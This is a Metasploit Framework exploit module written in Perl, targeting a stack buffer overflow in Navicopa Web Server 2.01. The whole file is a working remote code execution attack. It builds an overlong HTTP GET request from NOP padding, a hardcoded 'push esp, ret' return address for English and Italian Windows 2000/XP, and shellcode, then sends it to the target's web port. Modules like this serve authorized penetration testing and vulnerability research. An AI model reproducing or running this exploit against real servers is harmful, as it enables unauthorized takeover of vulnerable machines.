##	
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::navicopa_get_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };

my $info =
  {
	'Name'  => 'Navicopa 2.01 Buffer Overflow',
	'Version'  => '$Revision: 0.1 $',
	'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32' ],
	'Priv'  => 1,

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 80],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Payload' =>
	  {
		'Space'     => 400,
		'MinNops'	=> 16,
		'BadChars'  => "\x00\x20\x0a\x0d\x2f\x25\x3f",
		'Keys'      => ['+ws2ord'],
	  },
	  

	'Description'  => Pex::Text::Freeform(qq{
This module exploits a classical stack overflow in Navicopa Web Server 2.01 version		
Credit to h07 for discovered this vulnerability.
This is a port to the original h07 c code.  
}),

	'Refs'  =>
	  [
			['BID',   20250],
			  ],

	'Targets' =>
	  [
		['Windows 2k/XP for all service pack English',228, 0x1002c46f ], #  push esp,ret in IV320009.dll
		['Windows 2k/XP for all service pack Italian',227, 0x1002c46f ], #  push esp,ret in IV320009.dll

	  ],

	'Keys' => ['navicopa'],
	'DisclosureDate' => 'Sep 28 2006',


  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

	my $target = $self->Targets->[$target_idx];


	my $pattern = $self->MakeNops($target->[1]);
	$pattern .= pack('V', $target->[2]);
	$pattern .= $self->MakeNops(32);
	$pattern .= $shellcode;

	my $request = "GET " . $pattern ." HTTP/1.1\r\n\r\n";

	$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using push esp ret at 0x%.8x...", $target->[2]));

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$s->Send($request);
	sleep(3);
	$s->Recv(-1, 10);
	$s->Close();
	return;
}